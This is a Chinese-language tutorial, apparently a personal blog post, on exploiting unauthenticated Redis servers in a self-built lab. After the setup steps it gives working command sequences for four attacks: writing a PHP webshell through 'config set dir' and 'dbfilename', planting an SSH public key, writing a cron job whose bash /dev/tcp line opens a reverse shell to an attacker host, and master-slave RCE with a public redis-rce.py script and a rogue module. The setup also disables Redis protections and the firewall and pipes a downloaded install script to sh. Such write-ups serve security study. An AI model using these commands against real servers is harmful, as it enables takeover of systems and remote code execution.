Redis未授权经常会听到,但是从来没有自己实践过,今天来总结一下Redis未授权的几种利用方式。
环境搭建
为了方便各种利用方式的演示,这里就不使用靶场的环境了,直接手动搭建一个环境,中间遇见了点坑简单记录一下。
首先最小化安装一个Centos7系统,记住这里是最小化安装,如果安装了一下开发工具或者其他的什么东西,有的会自动安装一个redis,这就会出现一堆莫名其妙的问题。
gcc安装
安装完系统配置好IP地址以及yum之后,首先来安装gcc,安装gcc是为了一会编译安装redis。
安装gcc用下面这条命令。
yum -y install gcc gcc-c++ kernel-devel
wget安装
然后通过yum安装wget,用于一会下载redis源码:
yum -y install wget
redis安装
安装完上面这两个就可以安装redis了,首先下载源码到本地并解压:
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar -zxvf redis-3.2.0.tar.gz
cd redis-3.2.0
上面的步骤完成后就要开始编译了,直接输入make指令就可以了:
make
如果没有报错到这里就安装成功了,但是大概率会出现一个错误:
jemalloc/jemalloc.h:没有那个文件或目录
通过以下方式得以解决:
Redis配置
到这里redis安装已经成功了,接下来需要配置一下redis的配置文件。
打开redis.conf配置文件,在bind 127.0.0.1前面加上#号,然后将protected-mode设为no。
然后在src目录中运行以下命令启动redis:
./redis-server ../redis.conf
到目前位置,本地已经可以连接redis了,但是如果想在其他机器连接则还需要关闭防火墙:
systemctl stop firewalld.service
systemctl disable firewalld.service
到此位置,redis的配置算是结束了。
web环境搭建
安装完redis还需要搭建一个web环境,这里直接用的小皮面板:
yum install -y wget && wget -O install.sh https://notdocker.xp.cn/install.sh && sh install.sh
Redis未授权之写WebShell
利用条件
1.知道web目录的绝对路径
2.redis有web目录的写入权限
利用过程
首先连接redis:
redis-cli -h hostaddr
然后通过config set dir 命令将目录设置为web根目录,然后写入一个文件:
config set dir /www/admin/localhost_80/wwwroot/
config set dbfilename 1.php
set xxx "<?php phpinfo();?>"
save
然后在浏览器中访问我们刚才写入的文件:
可以看到成功访问phpinfo。
Redis未授权之写SSH密钥
SSH一般使用密码登陆,但是也可以使用密钥登陆。
密钥形式登录的原理是:利用密钥生成器制作一对密钥——一只公钥和一只私钥。将公钥添加到服务器的某个账户上,然后在客户端利用私钥即可完成认证并登录。这样一来,没有私钥,任何人都无法通过 SSH 暴力破解你的密码来远程登录到系统。此外,如果将公钥复制到其他账户甚至主机,利用私钥也可以登录。
详细请参考https://www.runoob.com/w3cnote/set-ssh-login-key.html
利用条件
1.Redis服务使用ROOT账号登陆。
2.服务器开放了SSH服务,并且允许使用密钥登陆。
利用过程
首先在kali上生成密钥对:
然后将公钥写入1.txt:
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
然后将1.txt中的公钥通过redis-cli读入目标主机的缓冲区:
cat /root/.ssh/1.txt | ./redis-cli -h 192.168.0.111 -x set xxx
然后使用redis-cli将公钥写入目标主机.ssh路径下:
接下来直接使用ssh登陆就好了:
参考链接
https://www.cnblogs.com/hei-zi/p/14002135.html
https://www.runoob.com/w3cnote/set-ssh-login-key.html
https://www.cnblogs.com/zhouhaibing/p/7679706.html
Redis未授权之计划任务反弹Shell
利用条件
服务器开启了crontab
利用过程
首先在vps上用nc监听一个端口:
然后使用redis像/var/spool/cron/写入执行计划:
config set dir /var/spool/cron
config set dbfilename root
set xxx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/xxx.xxx.xx.120/2333 0>&1\n\n"
save
这里需要注意一下,写计划任务的时候,是要在/var/spool/cron/目录下创建一个文件,在这个文件中写入反弹shell的命令。这个文件的文件名需要是当前服务器中存在的用户名的一个,否则将不成功。最好用当前用户名来命名计划任务文件名。
写入完成后,稍等一会会发现,已经收到了目标机器反弹回来的shell:
Redis未授权之主从RCE
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。
原理参考
https://paper.seebug.org/975/
https://www.cnblogs.com/paperpen/p/11178751.html
利用过程
首先用docker下载一个redis5.0:
docker search redis5.0 //查找镜像
docker pull damonevking/redis5.0 //拉取下图第三个镜像
运行容器:
docker run -p 6379:6379 -d damonevking/redis5.0 redis-server //映射端口并运行容器
然后在kali上下载漏洞利用脚本:
git clone https://github.com/Ridter/redis-rce.git //下载漏洞利用脚本
注意,这里少一个.so的文件,到https://github.com/n0b0dyCN/redis-rogue-server下载并放到和redis-rce.py同一目录下
然后运行脚本:
python3 redis-rce.py -r 172.16.3.153(目标ip) -L 172.16.3.49(自己的vps) -f exp.so
中间会让选择,i是一个交互式shell,r为反弹shell.